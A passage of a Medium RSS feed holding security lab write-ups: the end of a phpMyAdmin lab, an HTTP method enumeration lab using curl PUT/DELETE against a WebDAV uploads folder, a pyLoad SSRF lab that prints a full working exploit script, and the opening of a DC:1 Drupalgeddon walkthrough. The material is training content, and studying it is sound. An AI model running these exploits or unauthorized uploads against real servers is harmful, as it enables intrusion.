here.</p><p>phpMyAdmin provides options such as <strong>Select, Insert, and Update</strong> to help modify and construct SQL statements.</p><h3>Search Table Data</h3><p>Click on the <strong>Search</strong> tab to search for records without manually writing a SELECT statement with a WHERE clause.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*geeTjHzIZ9axGPOrvvMjDw.png" /></figure><p>The search interface allows you to enter values and choose different <strong>comparison operators</strong> to filter the table data directly.</p><h3>Insert Records</h3><p>Click on the <strong>Insert</strong> tab to add new records to the selected table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*zUY62DugUV16Rd_R5vVKnA.png" /></figure><p>The interface provides fields for entering the required values, which can then be submitted to insert the new record into the database.</p><h3>Export and Import Data</h3><p>Click on the <strong>Export</strong> tab to export the selected table and its data in a supported format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*P9O88bGnNl_YU_AEbJLU5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_BNDpFRNScGjwViUWOa7Q.png" /></figure><p>The <strong>Import</strong> section can be used to import an SQL archive file and restore its contents into the database.</p><h3>View Database Privileges</h3><p>Click on the <strong>Privileges</strong> tab to view the permissions assigned to users for the wpdatabase database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*86kFXfvlWBmj9VL5lo_CnQ.png" /></figure><p>The tab displays the available privileges and access levels associated with the database.</p><h3>Operations Tab</h3><p>Click on the <strong>Operations</strong> tab to access various table management options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*K2DR2blJYNwFhooYQb83Hw.png" /></figure><p>The Operations tab allows you to perform actions such as:</p><ul><li>Moving a table</li><li>Creating a copy of the table</li><li>Renaming the table</li><li>Adding table comments</li></ul><p>These options provide additional ways to manage the selected table.</p><h3>View Triggers</h3><p>Click on the <strong>Triggers</strong> tab to view the triggers associated with the selected table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*5UpJ-j1tyQNCUkre26WdOA.png" /></figure><p>Currently, there are <strong>no triggers</strong> configured for the table.</p><h3>Return to Dashboard</h3><p>Click on the <strong>Dashboard</strong> or <strong>Home</strong> icon to return to the phpMyAdmin main dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/231/1*uML2WmZ1OYbejt87xZ-8sQ.png" /></figure><p>The dashboard provides access to the available databases and overall database management options.</p><h3>Execute SQL Statements</h3><p>Click on the <strong>SQL</strong> tab from the dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ce_ZBHiZrFO8hBriDqRHw.png" /></figure><p>SQL statements can be executed directly from this section. The queries previously executed in the <strong>OmniDB SQL console</strong> can also be run here.</p><h3>View User Accounts</h3><p>Click on the <strong>User accounts</strong> tab to view the user accounts configured in phpMyAdmin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iMCSj80Lf-cnwnivOC1qsQ.png" /></figure><p>The page displays the available database users along with their associated access and privilege information.</p><h3>View the Binary Log</h3><p>Click on the <strong>Binary Log</strong> tab to view the MySQL binary log information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Q4u-zt4P7SyzFsTyDfw7w.png" /></figure><p>The binary log records database changes and SQL statements related to logged database operations, which can be useful for auditing and replication.</p><h3>Conclusion</h3><p>This lab provided a practical introduction to <strong>SQL and database management</strong> using OmniDB and phpMyAdmin. We worked with essential SQL statements such as SELECT, CREATE, INSERT, UPDATE, UNION, and JOIN to retrieve and manipulate database records.</p><p>We also explored database and table structures, column properties, indexes, privileges, triggers, and various phpMyAdmin features for managing database content. Overall, the lab helped build a strong foundation in SQL queries and practical database administration.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd80a74807cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP Method Enumeration]]></title>
            <link>https://medium.com/@nidhindev362/http-method-enumeration-f7f50f4f265d?source=rss-14558bf2a795------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7f50f4f265d</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Nidhindev]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 05:25:17 GMT</pubDate>
            <atom:updated>2026-09-13T05:25:17.387Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQxp9O9XGsDKMMZzaS93EQ.png" /></figure><h3>Inspecting the Web Application</h3><p>The home page contains two additional links that can be explored: <strong>Login</strong> and <strong>Blog</strong>. The Login link redirects to login.php, while the Blog link redirects to post.php.</p><h3>Step 1: Follow the Login Link</h3><p>Click the <strong>Login</strong> link or navigate to:</p><p><a href="http://demo.ine.local/login.php">http://demo.ine.local/login.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j76iD1aFu6YZpGR-UTtHNw.png" /></figure><p>The page displays a login form, which will be useful for further web application and HTTP method enumeration.</p><h3>Step 2: Identify the Form Processing Endpoint</h3><p>Right-click on the login page and select <strong>View Page Source</strong> to inspect how the login form is implemented.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHy112tx3yW43830zWfi_Q.png" /></figure><p>From the form source, we can see that the username and password parameters are submitted using a <strong>POST request</strong> to the same login.php endpoint.</p><p>This identifies login.php as the endpoint responsible for processing the login form.</p><h3>Step 3: Login to the Web Application</h3><p>Use the provided credentials to log in:</p><pre>Username: john<br>Password: password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RPUJz4rNQ0N_HBZIx4hMyw.png" /></figure><p>After successful authentication, the <strong>Login</strong> link is replaced with a <strong>“Welcome John”</strong> message, confirming that the login was successful.</p><h3>Step 4: Explore the Remaining Link</h3><p>Click the <strong>Blog</strong> link to inspect the other available page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6M1DvuFLDOxXjk-l-v_vPg.png" /></figure><p>The web application contains the following accessible PHP pages:</p><ul><li>index.php</li><li>login.php</li><li>post.php</li></ul><h3>Identify Hidden Directories Using DIRB</h3><p>Next, use <strong>DIRB</strong> to discover additional directories on the web server.</p><p><strong>Command:</strong></p><pre>dirb http://demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*EVkbGhj03E8p39kcKQt8VQ.png" /></figure><p>The scan identifies the following directories:</p><ul><li>css</li><li>img</li><li>js</li><li>mail</li><li>uploads</li><li>vendor</li></ul><p>This provides a better understanding of the application’s available resources before proceeding with HTTP method enumeration.</p><h3>Interacting with the Home Page Using cURL</h3><h3>Step 1: Send a GET Request</h3><p>Use cURL to send a GET request to the target&#39;s home page:</p><p><strong>Command:</strong></p><pre>curl -X GET http://demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SyP8oUjn4eV4th-ukQ7MEw.png" /></figure><p>The GET request retrieves the content of the web application&#39;s home page and allows us to inspect how the server responds to the request.</p><h3>Step 2: Send a HEAD Request</h3><p>Use cURL to send a HEAD request to the target:</p><p><strong>Command:</strong></p><pre>curl -I http://demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*xyUvSrz2L187llWAx3eDeg.png" /></figure><p>The HEAD request retrieves only the HTTP response headers without the response body. This can reveal information such as the <strong>HTTP status code, server type, and supported response headers</strong>.</p><h3>Step 3: Send an OPTIONS Request</h3><p>Use cURL to send an OPTIONS request and inspect the server&#39;s response:</p><p><strong>Command:</strong></p><pre>curl -X OPTIONS http://demo.ine.local -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*vSSOux08UM1OFqtzueQvQA.png" /></figure><p>The response indicates that the server supports the following HTTP methods:</p><ul><li>GET</li><li>HEAD</li><li>OPTIONS</li></ul><p>This confirms that HTTP method enumeration can be performed using the OPTIONS request. Methods not supported by the server may return an error when accessed.</p><h3>Step 4: Send a POST Request</h3><p>Use cURL to test whether the server accepts the POST method:</p><p><strong>Command:</strong></p><pre>curl -X POST http://demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*uJ7LXKvOqPVyekJbPVRTKw.png" /></figure><p>The server response can be used to determine whether the POST method is supported for the requested resource. If the method is not allowed, the server should return an appropriate HTTP error response such as <strong>405 Method Not Allowed</strong>.</p><h3>Step 5: Send a PUT Request</h3><p>Use cURL to test whether the server accepts the PUT HTTP method:</p><p><strong>Command:</strong></p><pre>curl -X PUT http://demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*E3qFLLcRcJyMPCmdoHGYUA.png" /></figure><p>The server’s response indicates whether the PUT method is supported for the requested resource. If it is not supported, the server will typically return an error such as <strong>405 Method Not Allowed</strong>.</p><h3>Interacting with login.php Using cURL</h3><h3>Step 1: Send an OPTIONS Request</h3><p>Use cURL to identify the HTTP methods supported by the login.php endpoint:</p><p><strong>Command:</strong></p><pre>curl -X OPTIONS http://demo.ine.local/login.php -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*WON8J7hto3_D0j51K8aQVA.png" /></figure><p>The server response indicates that the following methods are allowed:</p><ul><li>GET</li><li>POST</li><li>HEAD</li><li>OPTIONS</li></ul><p>This confirms that login.php supports both GET and POST requests, which is expected for a page containing a login form.</p><h3>Step 2: Send a POST Request</h3><p>Use cURL to test the POST method on the login.php endpoint:</p><p><strong>Command:</strong></p><pre>curl -X POST http://demo.ine.local/login.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*UkguV3hUO1tXVdcYRb16Tg.png" /></figure><p>Unlike the home page (index.php), the login.php endpoint accepts <strong>POST</strong> requests because it processes the login form data.</p><h3>Step 3: Submit Username and Password</h3><p>Send the username and password to the login.php endpoint using a POST request:</p><p><strong>Command:</strong></p><pre>curl -X POST http://demo.ine.local/login.php -d &quot;name=john&amp;password=password&quot; -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*tmDKX-Ojenu8wKDUdm-wmg.png" /></figure><p>The server returns a <strong>302 Found</strong> response, indicating that the login request was processed and the server is redirecting the client to another page. This differs from the response received when sending an empty POST request.</p><h3>Interacting with post.php Using cURL</h3><h3>Step 1: Send an OPTIONS Request</h3><p>Use cURL to enumerate the HTTP methods supported by the post.php endpoint:</p><p><strong>Command:</strong></p><pre>curl -X OPTIONS http://demo.ine.local/post.php -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*IADfUziv49OiG8jCFW32BA.png" /></figure><p>The response shows that post.php allows the following HTTP methods:</p><ul><li>GET</li><li>POST</li><li>HEAD</li><li>OPTIONS</li></ul><p>This is similar to the login.php endpoint, which supports the same set of HTTP methods.</p><h3>Interacting with the uploads Directory</h3><h3>Step 1: Check the /uploads Directory</h3><p>Navigate to the following URL:</p><p><a href="http://demo.ine.local/uploads">http://demo.ine.local/uploads</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yt_o6ZPfBogW3j2E7in-HQ.png" /></figure><p>This allows us to check whether directory listing is enabled and identify any files or resources exposed through the /uploads directory.</p><h3>Step 2: Send an OPTIONS Request to /uploads</h3><p>Use cURL to inspect the HTTP methods supported by the /uploads directory:</p><p><strong>Commands:</strong></p><pre>curl -X OPTIONS http://demo.ine.local/uploads/<br>curl -X OPTIONS http://demo.ine.local/uploads/ -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*R8zqttR1_JAiE4oHmvTr3Q.png" /></figure><p>The response indicates that the <strong>WebDAV</strong> module is enabled on the Apache server. WebDAV supports file management operations, including uploading files using the <strong>PUT</strong> HTTP method.</p><p>This makes the /uploads directory particularly interesting for further security testing.</p><h3>Step 3: Upload a File Using the PUT Method</h3><p>Create a test file containing a simple message:</p><pre>echo &quot;Hello World&quot; &gt; hello.txt</pre><p>Upload the file to the /uploads directory using cURL:</p><pre>curl http://demo.ine.local/uploads/ --upload-file hello.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*FE8vgnSGCwdA1Xy6oZXv_w.png" /></figure><p>The --upload-file option sends the file using an HTTP <strong>PUT</strong> request. If the upload is successful, hello.txt will be stored in the /uploads directory.</p><h3>Step 4: Verify the Uploaded File</h3><p>Check the /uploads directory again to verify the upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WaZmYyutnI8bBsz1Ow16ww.png" /></figure><p>The hello.txt file is now present in the directory, confirming that the server accepts <strong>PUT</strong> requests and allows files to be uploaded through the WebDAV-enabled /uploads directory.</p><h3>Step 5: Delete the Uploaded File</h3><p>Use the DELETE HTTP method to remove the uploaded hello.txt file:</p><p><strong>Command:</strong></p><pre>curl -X DELETE http://demo.ine.local/uploads/hello.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*OPWlZMCH294daMJZ-OgfUg.png" /></figure><p>If the request is successful, the server deletes the file from the /uploads directory. This demonstrates that the WebDAV configuration allows file deletion through the <strong>DELETE</strong> method.</p><h3>Step 6: Verify File Deletion</h3><p>Check the /uploads directory again to confirm whether the file was removed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0M2XmKi13tofUnaFAQmqeA.png" /></figure><p>The hello.txt file is no longer present, confirming that the <strong>DELETE</strong> method successfully removed the uploaded file.</p><h3>Interacting with the Web Page Using Burp Suite</h3><h3>Step 1: Configure FoxyProxy</h3><p>Configure the browser to route traffic through the Burp Suite proxy.</p><p>Click the <strong>FoxyProxy</strong> icon in the browser toolbar and select <strong>Burp Suite</strong> as the active proxy configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WG2x7ffs1IRbStCX21Hsg.png" /></figure><p>This allows Burp Suite to intercept and inspect HTTP requests sent by the browser.</p><h3>Step 2: Start Burp Suite</h3><p>Launch <strong>Burp Suite</strong> and ensure the proxy is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsWZkxHwIqRTffm5sWEG-w.png" /></figure><p>Reload the target web page in the browser. The browser request will be intercepted by Burp Suite, allowing you to inspect and modify the HTTP request before it reaches the server.</p><h3>Step 3: Send the Request to Repeater</h3><p>In Burp Suite, right-click the intercepted request and select <strong>Send to Repeater</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*FyjNncJ6eithwH0IVGekIQ.png" /></figure><p>The request will be transferred to the <strong>Repeater</strong> tab, where it can be manually modified and resent to the server for further HTTP method testing.</p><h3>Step 4: Send a GET Request</h3><p>In <strong>Burp Suite Repeater</strong>, set the HTTP request method to GET and send the request to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*JZIUiZkd00ZoqBotd_Bdpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*e0fg-lj82VBQKmBgYVa-JQ.png" /></figure><p>Inspect the response to determine how the application handles the GET method and compare it with the other HTTP methods tested during enumeration.</p><h3>Step 5: Send a HEAD Request</h3><p>In <strong>Burp Suite Repeater</strong>, change the HTTP request method to HEAD and click <strong>Send</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-rLljwk0R6KU64MRSb12pw.png" /></figure><p>Inspect the response to determine whether the server accepts the HEAD method and observe the returned HTTP headers.</p><h3>Step 6: Send an OPTIONS Request</h3><p>In <strong>Burp Suite Repeater</strong>, change the HTTP request method to OPTIONS and click <strong>Send</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WrHA_u7nv6P8bgtgY3Ad5w.png" /></figure><p>Inspect the server response, particularly the Allow header, to identify the HTTP methods supported by the requested resource.</p><h3>Step 7: Send a POST Request</h3><p>In <strong>Burp Suite Repeater</strong>, change the HTTP request method to POST and click <strong>Send</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R4MHzmAY_Pe91LGJc8-8Lw.png" /></figure><p>Inspect the response to determine whether the server accepts the POST method and how the application handles the request.</p><h3>Step 8: Send a POST Request with Invalid Credentials</h3><p>In <strong>Burp Suite Repeater</strong>, send a POST request to the login.php endpoint using incorrect login credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xa6iMSa6FZOfpfuPsAFVyw.png" /></figure><p>Inspect the server’s response to observe how the application handles an unsuccessful authentication attempt. This also confirms that login.php processes login data through the POST method.</p><h3>Step 9: Send a POST Request with Valid Credentials</h3><p>In <strong>Burp Suite Repeater</strong>, send a POST request to login.php using the valid login credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MevTcOzVqmFphBJ11zQkRg.png" /></figure><p>The server responds with a <strong>302 Found</strong> status code and redirects the request to index.php. This confirms that the supplied credentials were valid and the authentication was successful.</p><h3>Step 10: Upload a File Using the PUT Method</h3><p>Using <strong>Burp Suite Repeater</strong>, change the request method to PUT and send the request to the /uploads directory with the file content in the request body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfsC2hJ55w0IYBCb6fMw9Q.png" /></figure><p>The server responds successfully, confirming that the <strong>PUT</strong> method can be used to upload files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFetjgt6xDcQLyCwIvIY5g.png" /></figure><p>After sending the request, access the /uploads directory and verify that hello.txt has been created. Opening the file confirms that its contents were uploaded successfully.</p><h3>Step 11: Delete the File</h3><p>Using <strong>Burp Suite Repeater</strong>, change the request method to DELETE and send the request targeting the uploaded hello.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*aWLDQCU8JmRdR6cHwe-0oA.png" /></figure><p>The server responds successfully, confirming that the file was deleted.</p><p>Check the /uploads directory again. The hello.txt file is no longer present, confirming that the <strong>DELETE</strong> method is enabled and functional.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7f50f4f265d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[pyLoad: Server-Side Request Forgery]]></title>
            <link>https://medium.com/@nidhindev362/pyload-server-side-request-forgery-4f3276b92e20?source=rss-14558bf2a795------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f3276b92e20</guid>
            <dc:creator><![CDATA[Nidhindev]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 07:40:49 GMT</pubDate>
            <atom:updated>2026-09-12T07:40:49.383Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JRyVpcmfWrcIDkAiCHdr9g.png" /></figure><h3>About the Lab</h3><p>CVE-2026–33992 is a critical Server-Side Request Forgery (SSRF) vulnerability in pyLoad’s /json/add_package endpoint. The endpoint accepts user-controlled URLs through the add_links parameter without validating the destination, allowing an authenticated attacker to make the server request internal or cloud metadata endpoints.</p><h3>Step 1: Access the Lab</h3><p>Open the provided lab link to launch and access the Kali Linux machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hniuMEggh1Ea-wgyGrstAw.png" /></figure><h3>Step 2: Verify Target Reachability</h3><p>Check whether the target machine is reachable using the ping command.</p><p><strong>Command:</strong></p><pre>ping -c 4 demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*YBW61EDPdx_eY_BTLnxR-w.png" /></figure><p>This sends four ICMP packets to demo.ine.local and verifies connectivity with the target.</p><h3>Step 3: Check for Open Port</h3><p>Scan port 8000 on the target to determine whether the service is accessible.</p><p><strong>Command:</strong></p><pre>nmap -p 8000 demo.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*2gDft2SyyO1pR374qNkfaw.png" /></figure><p>The scan shows that <strong>port 8000 is open</strong> on the target machine.</p><h3>Step 4: Access the pyLoad Web Interface</h3><p>Open a browser and navigate to:</p><p><a href="http://demo.ine.local:8000/">http://demo.ine.local:8000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I_inEWnO7z7ZdEPByMtT4g.png" /></figure><p>Log in using the provided credentials:</p><pre>Username: pyload<br>Password: pyload</pre><p>After successful authentication, the pyLoad web interface will be displayed.</p><h3>Step 5: Exploit Breakdown</h3><p>The provided Python script automates exploitation of the SSRF vulnerability in pyLoad.</p><pre>#!/usr/bin/env python3<br><br>import argparse, re, sys<br>import requests<br><br>def authenticate(base_url, username, password):<br>    s = requests.Session()<br>    try:<br>        r = s.get(f&quot;{base_url}/login&quot;, timeout=10)<br>    except requests.exceptions.ConnectionError:<br>        print(f&quot;[-] Cannot connect to {base_url}&quot;)<br>        sys.exit(1)<br><br>    m = re.search(r&#39;&lt;meta[^&gt;]+name=[&quot;\&#39;]csrf-token[&quot;\&#39;][^&gt;]+content=[&quot;\&#39;]([^&quot;\&#39;]+)[&quot;\&#39;]&#39;, r.text)<br>    csrf = m.group(1) if m else &quot;&quot;<br><br>    resp = s.post(<br>        f&quot;{base_url}/login&quot;,<br>        data={&quot;do&quot;: &quot;login&quot;, &quot;username&quot;: username, &quot;password&quot;: password},<br>        headers={&quot;X-CSRFToken&quot;: csrf},<br>        allow_redirects=True, timeout=10<br>    )<br><br>    m2 = re.search(r&#39;&lt;meta[^&gt;]+name=[&quot;\&#39;]csrf-token[&quot;\&#39;][^&gt;]+content=[&quot;\&#39;]([^&quot;\&#39;]+)[&quot;\&#39;]&#39;, resp.text)<br>    csrf = m2.group(1) if m2 else csrf<br><br>    if &quot;logout&quot; not in resp.text.lower():<br>        print(&quot;[-] Authentication failed&quot;)<br>        sys.exit(1)<br><br>    print(&quot;[+] Authenticated successfully&quot;)<br>    return s, csrf<br><br><br>def exploit(base_url, target_url, username, password):<br>    print(f&quot;\n[*] Target    : {base_url}&quot;)<br>    print(f&quot;[*] SSRF URL  : {target_url}\n&quot;)<br><br>    session, csrf = authenticate(base_url, username, password)<br><br>    resp = session.post(<br>        f&quot;{base_url}/json/add_package&quot;,<br>        data={&quot;add_name&quot;: &quot;ssrf-exfil&quot;, &quot;add_links&quot;: target_url, &quot;add_dest&quot;: 1},<br>        headers={&quot;X-CSRFToken&quot;: csrf, &quot;X-Requested-With&quot;: &quot;XMLHttpRequest&quot;},<br>        timeout=10<br>    )<br><br>    if resp.status_code == 200 and resp.text.strip() == &quot;true&quot;:<br>        print(f&quot;[!!!] SSRF successful — pyLoad will now fetch:&quot;)<br>        print(f&quot;[!!!] {target_url}&quot;)<br>        print(f&quot;[!!!] Internal URL accepted with NO validation&quot;)<br>        print(f&quot;\n[*] Check Queue tab at {base_url} to see the download&quot;)<br>    else:<br>        print(f&quot;[-] Unexpected response: {resp.status_code} {resp.text[:100]}&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    p = argparse.ArgumentParser(description=&quot;CVE-2026-33992 — pyLoad SSRF&quot;)<br>    p.add_argument(&quot;-u&quot;, &quot;--url&quot;,      default=&quot;http://localhost:8000&quot;)<br>    p.add_argument(&quot;-t&quot;, &quot;--target&quot;,   default=&quot;http://127.0.0.1:8000/web/_themes/modern/img/pyload-banner.png&quot;)<br>    p.add_argument(&quot;--username&quot;,       default=&quot;pyload&quot;)<br>    p.add_argument(&quot;--password&quot;,       default=&quot;pyload&quot;)<br>    args = p.parse_args()<br>    exploit(args.url, args.target, args.username, args.password)</pre><p>The script performs the following steps:</p><ol><li><strong>Authenticate:</strong> Creates a session and logs into the pyLoad web interface using the provided credentials.</li><li><strong>Handle CSRF Token:</strong> Extracts the CSRF token from the login page and includes it in subsequent requests.</li><li><strong>Send SSRF Request:</strong> Sends a POST request to the vulnerable /json/add_package endpoint.</li><li><strong>Inject Target URL:</strong> The attacker-controlled URL is supplied through the add_links parameter.</li><li><strong>Trigger Server-Side Request:</strong> pyLoad accepts the URL without validating whether it points to an internal or private address.</li><li><strong>Verify Exploitation:</strong> A successful response indicates that the URL was accepted and added to the download queue.</li></ol><p>The important part of the request is:</p><pre>POST /json/add_package<br>add_name=ssrf-exfil<br>add_links=&lt;attacker-controlled URL&gt;<br>add_dest=1</pre><p>Because add_links is not properly validated, an internal URL such as 127.0.0.1 can be supplied. pyLoad then makes the request from the server itself, demonstrating the SSRF vulnerability.</p><p>A successful response confirms that the malicious URL was accepted and the request will be processed by pyLoad.</p><h3>Step 6: Perform the Exploitation</h3><p>Run the exploit script against the target pyLoad instance:</p><p><strong>Command:</strong></p><pre>python3 exploit.py --url http://demo.ine.local:8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*IYBtPzsolO8tejku2HWOQA.png" /></figure><p>The script authenticates to pyLoad and submits the SSRF request to the vulnerable /json/add_package endpoint. A successful response indicates that the internal URL was accepted and queued for download.</p><h3>Step 7: Verify the Exploit</h3><p>Navigate to the <strong>Queue</strong> tab in the pyLoad interface.</p><p>The ssrf-exfil package should appear with pyload-banner.png marked as <strong>Finished</strong>. This confirms that pyLoad successfully fetched the supplied internal URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1YYZ5D1Hy9QoYBe_JBTxQ.png" /></figure><p>Next, navigate to the <strong>Files</strong> tab. The ssrf-exfil folder should contain the downloaded pyload-banner.png file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAgQT-Hs7tho2PhUY2FBAg.png" /></figure><p>Click the file to download it and verify that the internal resource was successfully retrieved through the SSRF vulnerability.</p><h3>Conclusion</h3><p>This lab demonstrated the exploitation of <strong>CVE-2026–33992</strong>, an SSRF vulnerability in pyLoad’s download functionality. The vulnerability occurs because user-supplied URLs are not properly validated before being processed by the download engine.</p><p>By using an authenticated request, an attacker can make the server access internal resources and save the retrieved content through the pyLoad interface. This demonstrates the potential impact of SSRF, including access to internal services and sensitive resources.</p><p>The vulnerability can be mitigated by validating submitted URLs, blocking private and link-local IP ranges, restricting permitted schemes and destinations, and enforcing appropriate outbound network controls.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f3276b92e20" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC:1 VulnHub Walkthrough: Enumerating, Exploiting Drupalgeddon, and Escalating to Root | by Nidhin…]]></title>
            <link>https://medium.com/@nidhindev362/dc-1-vulnhub-walkthrough-enumerating-exploiting-drupalgeddon-and-escalating-to-root-by-nidhin-0ae8289c6d1d?source=rss-14558bf2a795------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ae8289c6d1d</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Nidhindev]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 16:47:35 GMT</pubDate>
            <atom:updated>2026-07-18T16:47:35.478Z</atom:updated>
            <content:encoded><![CDATA[<h3>DC:1 VulnHub Walkthrough: Enumerating, Exploiting Drupalgeddon, and Escalating to Root | by Nidhin Dev D</h3><h4>A comprehensive walkthrough covering network enumeration, Drupal CMS exploitation (CVE-2014–3704), post-exploitation, and Linux privilege escalation to achieve full system compromise.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e54WOS0_ShMgjK-FD87ieA.png" /></figure><h3>Introduction</h3><p><strong>DC:1</strong> is a beginner-friendly boot-to-root machine from VulnHub designed to teach web application enumeration, CMS exploitation, Linux privilege escalation, and basic post-exploitation techniques. The target primarily focuses on exploiting a vulnerable Drupal installation, followed by privilege escalation to gain root access.</p><h3>Machine Information</h3><p><strong>Platform:</strong> VulnHub</p><p><strong>Link:</strong> <a href="https://download.vulnhub.com/dc/DC-1.zip">https://download.vulnhub.com/dc/DC-1.zip</a></p><p><strong>Difficulty:</strong> Beginner</p><p><strong>Operating System:</strong> Linux</p><p><strong>Challenge:</strong> Capture 5 flags</p><p><strong>Focus Areas:</strong></p><ul><li>Network and web enumeration</li><li>Drupal CMS identification</li><li>Linux privilege escalation</li></ul><h3>Step 1 : Discover the Target</h3><p>The first step was to identify the target machine’s IP address on the local virtual network. Once the machine booted, it was assigned an IP address by the virtual network, which was required before any further enumeration could begin.</p><pre>sudo netdiscover</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*xION_wOBgZ-UEhcreG6uXw.png" /></figure><h3>Step 2 : Vulnerability Assessment with Nmap NSE Scripts</h3><p>After identifying the target, the next step was to assess it for known vulnerabilities. To accomplish this, an Nmap vulnerability scan was performed using the NSE vulnerability scripts. The scan identified a critical vulnerability affecting the web application:</p><pre>nmap -script vuln 192.168.0.7</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*AHx2vaRVFgZ0LJUzoKzQzQ.png" /></figure><pre>http-vuln-cve2014-3704:<br>| VULNERABLE:<br>| Drupal - Pre-Authentication SQL Injection Vulnerability</pre><p>The scan confirmed that the target is vulnerable to <strong>CVE-2014–3704 (Drupalgeddon)</strong>, a critical pre-authentication SQL injection vulnerability in Drupal. This flaw allows an unauthenticated attacker to execute arbitrary code on the server, making it a suitable entry point for compromising the target system.</p><h3>Step 3: Exploiting the Vulnerability</h3><p>After confirming the presence of <strong>CVE-2014–3704 (Drupalgeddon)</strong>, the next step was to leverage the vulnerability to gain initial access to the target system. Instead of using a standalone proof-of-concept exploit, the <strong>Metasploit Framework</strong> was chosen due to its reliable and well-maintained exploit module.</p><p>The Metasploit Framework was launched using the following 